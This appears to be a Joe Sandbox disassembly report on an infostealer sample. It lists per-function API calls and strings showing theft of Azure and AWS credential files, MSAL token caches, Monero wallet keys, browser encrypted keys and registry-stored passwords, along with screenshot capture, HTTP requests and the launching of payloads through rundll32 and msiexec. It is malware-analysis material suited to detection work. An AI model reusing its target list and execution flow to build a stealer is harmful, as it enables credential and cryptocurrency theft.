Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 4b0288958ddd9b052da887074d1462bfba2868f78613cd38367b1370b75f1132
Instruction ID: 2c69d5d5e254778310fc332dd3b5718cca196bcfa93145abf75e4cba1155f749
Opcode Fuzzy Hash: 4b0288958ddd9b052da887074d1462bfba2868f78613cd38367b1370b75f1132
Instruction Fuzzy Hash: 51811E719116289FDB68DB90DC91FEAB7B9FF08700F0082D8E109A6180DF756B85CF95

Function 00624D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00628DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00628E0B

lstrcat.KERNEL32(?,00000000), ref: 00624DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00624DCD

Part of subcall function 00624910: wsprintfA.USER32 ref: 0062492C
Part of subcall function 00624910: FindFirstFileA.KERNEL32(?,?), ref: 00624943

lstrcat.KERNEL32(?,00000000), ref: 00624E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00624E59

Part of subcall function 00624910: StrCmpCA.SHLWAPI(?,00630FDC), ref: 00624971
Part of subcall function 00624910: StrCmpCA.SHLWAPI(?,00630FE0), ref: 00624987
Part of subcall function 00624910: FindNextFileA.KERNEL32(000000FF,?), ref: 00624B7D
Part of subcall function 00624910: FindClose.KERNEL32(000000FF), ref: 00624B92

lstrcat.KERNEL32(?,00000000), ref: 00624EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00624EE5

Part of subcall function 00624910: wsprintfA.USER32 ref: 006249B0
Part of subcall function 00624910: StrCmpCA.SHLWAPI(?,006308D2), ref: 006249C5
Part of subcall function 00624910: wsprintfA.USER32 ref: 006249E2
Part of subcall function 00624910: PathMatchSpecA.SHLWAPI(?,?), ref: 00624A1E
Part of subcall function 00624910: lstrcat.KERNEL32(?,0111E8D8), ref: 00624A4A
Part of subcall function 00624910: lstrcat.KERNEL32(?,00630FF8), ref: 00624A5C
Part of subcall function 00624910: lstrcat.KERNEL32(?,?), ref: 00624A70
Part of subcall function 00624910: lstrcat.KERNEL32(?,00630FFC), ref: 00624A82
Part of subcall function 00624910: lstrcat.KERNEL32(?,?), ref: 00624A96
Part of subcall function 00624910: CopyFileA.KERNEL32(?,?,00000001), ref: 00624AAC
Part of subcall function 00624910: DeleteFileA.KERNEL32(?), ref: 00624B31

Strings

Azure\.IdentityService, xrefs: 00624EEB
Azure\.aws, xrefs: 00624E5F
\.azure\, xrefs: 00624DC1
*.*, xrefs: 00624E64
*.*, xrefs: 00624DD8
msal.cache, xrefs: 00624EF0
\.IdentityService\, xrefs: 00624ED9
\.aws\, xrefs: 00624E4D
Azure\.azure, xrefs: 00624DD3

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 6a037c18a1aa8bec86d7896ee6dd1a9bda42d47c65f16684e7e625480b1bd3cf
Instruction ID: 237010df2b45fac6725d49d21cdbcbff7056318df944938cc05266560aaf14f7
Opcode Fuzzy Hash: 6a037c18a1aa8bec86d7896ee6dd1a9bda42d47c65f16684e7e625480b1bd3cf
Instruction Fuzzy Hash: 3F41A3BA94021867D754F770EC87FED733AAB25700F004558B649660C1EEB55BCD8B92

Function 00629010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0062906C

Strings

image/jpeg, xrefs: 00629136

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 50af01bdc282911655cddf7fcb3aa770f2b58c73c010c5b2fa6400a42b899cb6
Instruction ID: 01161db6a16ae791ae8ac392a3f2d9b4d7b5ac5ac73cc1c721e05b611d526ed6
Opcode Fuzzy Hash: 50af01bdc282911655cddf7fcb3aa770f2b58c73c010c5b2fa6400a42b899cb6
Instruction Fuzzy Hash: 8571FEB5910208ABDB18DFE4DC89FEDB7B9BF48701F108618F615A7290DB38A945CF61

Function 00622E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

ShellExecuteEx.SHELL32(0000003C), ref: 006231C5
ShellExecuteEx.SHELL32(0000003C), ref: 0062335D
ShellExecuteEx.SHELL32(0000003C), ref: 006234EA

Strings

.dll, xrefs: 006231E5
C:\Windows\system32\rundll32.exe, xrefs: 00623332
/i ", xrefs: 006233E4
/passive, xrefs: 0062345B
.msi, xrefs: 00623398
"" , xrefs: 0062309A
<, xrefs: 00623490
C:\Windows\system32\msiexec.exe, xrefs: 006234BF

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 3433475ee1c4a7cf01ba70c41f9e97a499faf4aa9f8dcfc7187bfa3bf1e637bb
Instruction ID: b965b1d04fcc0c537967228d16718465375083c3d65f64deeb7b58971a000d66
Opcode Fuzzy Hash: 3433475ee1c4a7cf01ba70c41f9e97a499faf4aa9f8dcfc7187bfa3bf1e637bb
Instruction Fuzzy Hash: A2120F718105289BDB49EBE0EC92FDDB73AAF14300F50415DF50666192EFB42B4ACF9A

Function 006252C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0062A7E6

Part of subcall function 00616280: InternetOpenA.WININET(00630DFE,00000001,00000000,00000000,00000000), ref: 006162E1
Part of subcall function 00616280: StrCmpCA.SHLWAPI(?,0111E858), ref: 00616303
Part of subcall function 00616280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00616335
Part of subcall function 00616280: HttpOpenRequestA.WININET(00000000,GET,?,0111E2D8,00000000,00000000,00400100,00000000), ref: 00616385
Part of subcall function 00616280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006163BF
Part of subcall function 00616280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006163D1

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00625318
lstrlen.KERNEL32(00000000), ref: 0062532F

Part of subcall function 00628E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00628E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00625364
lstrlen.KERNEL32(00000000), ref: 00625383
lstrlen.KERNEL32(00000000), ref: 006253AE

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Strings

ERROR, xrefs: 00625432
ERROR, xrefs: 006253B9
ERROR, xrefs: 006254A9
ERROR, xrefs: 0062530A
ERROR, xrefs: 0062546F

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 8e8de7d25d9682f20bc3b40b8ff9cd9cfefd4a9610a7a95a65650cf48f2daa1d
Instruction ID: 10fbe79bd8fa23ffbffb4639ce4c59e15d1686670be61fff68a56ab5f6963423
Opcode Fuzzy Hash: 8e8de7d25d9682f20bc3b40b8ff9cd9cfefd4a9610a7a95a65650cf48f2daa1d
Instruction Fuzzy Hash: 275121709109589BCB58FFA0ED92AED777BAF14300F50401CF9066A191EF746B46CF9A

Function 006212D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 96d6dcd57843d21ec35a830cce19d5d45e321b2b8823432a2592fe04312464eb
Instruction ID: 927cd81c297317ece8c42edfb4a2342ea36c7e4979bd201659cfa90d7db2f03f
Opcode Fuzzy Hash: 96d6dcd57843d21ec35a830cce19d5d45e321b2b8823432a2592fe04312464eb
Instruction Fuzzy Hash: 01C1E8B59012299BCB54EF60ECC9FEA737ABF64300F00459CF50A67141DB74AA85CF95

Function 00624280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00628DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00628E0B

lstrcat.KERNEL32(?,00000000), ref: 006242EC
lstrcat.KERNEL32(?,0111E1B8), ref: 0062430B
lstrcat.KERNEL32(?,?), ref: 0062431F
lstrcat.KERNEL32(?,0111D3C8), ref: 00624333

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 00628D90: GetFileAttributesA.KERNEL32(00000000,?,00611B54,?,?,0063564C,?,?,00630E1F), ref: 00628D9F

Part of subcall function 00619CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00619D39

Part of subcall function 006199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006199EC
Part of subcall function 006199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00619A11
Part of subcall function 006199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00619A31
Part of subcall function 006199C0: ReadFile.KERNEL32(000000FF,?,00000000,0061148F,00000000), ref: 00619A5A
Part of subcall function 006199C0: LocalFree.KERNEL32(0061148F), ref: 00619A90
Part of subcall function 006199C0: CloseHandle.KERNEL32(000000FF), ref: 00619A9A

Part of subcall function 006293C0: GlobalAlloc.KERNEL32(00000000,006243DD,006243DD), ref: 006293D3

StrStrA.SHLWAPI(?,0111E218), ref: 006243F3
GlobalFree.KERNEL32(?), ref: 00624512

Part of subcall function 00619AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Na,00000000,00000000), ref: 00619AEF
Part of subcall function 00619AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00614EEE,00000000,?), ref: 00619B01
Part of subcall function 00619AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Na,00000000,00000000), ref: 00619B2A
Part of subcall function 00619AC0: LocalFree.KERNEL32(?,?,?,?,00614EEE,00000000,?), ref: 00619B3F

lstrcat.KERNEL32(?,00000000), ref: 006244A3
StrCmpCA.SHLWAPI(?,006308D1), ref: 006244C0
lstrcat.KERNEL32(00000000,00000000), ref: 006244D2
lstrcat.KERNEL32(00000000,?), ref: 006244E5
lstrcat.KERNEL32(00000000,00630FB8), ref: 006244F4

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: c9ec456cdd539017b1160a687b259fdb5f4e72df68c105e4e43fb2aa98987a78
Instruction ID: 944d0200c85f2e133544ea07f7f5aafd15733faf32be6c2da36eafbc06efe5fe
Opcode Fuzzy Hash: c9ec456cdd539017b1160a687b259fdb5f4e72df68c105e4e43fb2aa98987a78
Instruction Fuzzy Hash: CD7185B6900618ABCB54EBA0EC95FEE737ABF48300F04459CF60597181EA74DB49CFA5

Function 00611310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006112A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006112B4
Part of subcall function 006112A0: RtlAllocateHeap.NTDLL(00000000), ref: 006112BB
Part of subcall function 006112A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 006112D7
Part of subcall function 006112A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006112F5
Part of subcall function 006112A0: RegCloseKey.ADVAPI32(?), ref: 006112FF

lstrcat.KERNEL32(?,00000000), ref: 0061134F
lstrlen.KERNEL32(?), ref: 0061135C
lstrcat.KERNEL32(?,.keys), ref: 00611377

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

Part of subcall function 00628B60: GetSystemTime.KERNEL32(00630E1A,0111A3C0,006305AE,?,?,006113F9,?,0000001A,00630E1A,00000000,?,01119148,?,\Monero\wallet.keys,00630E17), ref: 00628B86

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00611465

Part of subcall function 0062A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0062A7E6

Part of subcall function 006199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006199EC
Part of subcall function 006199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00619A11
Part of subcall function 006199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00619A31
Part of subcall function 006199C0: ReadFile.KERNEL32(000000FF,?,00000000,0061148F,00000000), ref: 00619A5A
Part of subcall function 006199C0: LocalFree.KERNEL32(0061148F), ref: 00619A90
Part of subcall function 006199C0: CloseHandle.KERNEL32(000000FF), ref: 00619A9A

DeleteFileA.KERNEL32(00000000), ref: 006114EF

Strings

\Monero\wallet.keys, xrefs: 0061138D
wallet_path, xrefs: 00611330
SOFTWARE\monero-project\monero-core, xrefs: 00611335
.keys, xrefs: 0061136B

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: df779f56f1a66327504d34cc3f2cc079143c4a0372ef39ca8c930c8ec1502322
Instruction ID: b1da198a7c2aac23f9b128bfc0443d6180a96ecd65c1212d78d558f4d46db6a4
Opcode Fuzzy Hash: df779f56f1a66327504d34cc3f2cc079143c4a0372ef39ca8c930c8ec1502322
Instruction Fuzzy Hash: 705159B1D5052957CB55FB60EC92FED733EAF54300F40459CB60A62082EE746B89CFAA

Function 006175D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006172D0: memset.MSVCRT ref: 00617314
Part of subcall function 006172D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0061733A
Part of subcall function 006172D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006173B1
Part of subcall function 006172D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0061740D
Part of subcall function 006172D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00617452
Part of subcall function 006172D0: HeapFree.KERNEL32(00000000), ref: 00617459

lstrcat.KERNEL32(00000000,006317FC), ref: 00617606
lstrcat.KERNEL32(00000000,00000000), ref: 00617648
lstrcat.KERNEL32(00000000, : ), ref: 0061765A
lstrcat.KERNEL32(00000000,00000000), ref: 0061768F
lstrcat.KERNEL32(00000000,00631804), ref: 006176A0
lstrcat.KERNEL32(00000000,00000000), ref: 006176D3
lstrcat.KERNEL32(00000000,00631808), ref: 006176ED
task.LIBCPMTD ref: 006176FB

Strings

: , xrefs: 0061764E

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 3e02378609bc16e0b5d0eb61271acef22b390dfe98c58d665de0bbb154a968f3
Instruction ID: b7a14c5fb3195f888bdfb38527863782e565f213b3efcd0791551a4b26965461
Opcode Fuzzy Hash: 3e02378609bc16e0b5d0eb61271acef22b390dfe98c58d665de0bbb154a968f3
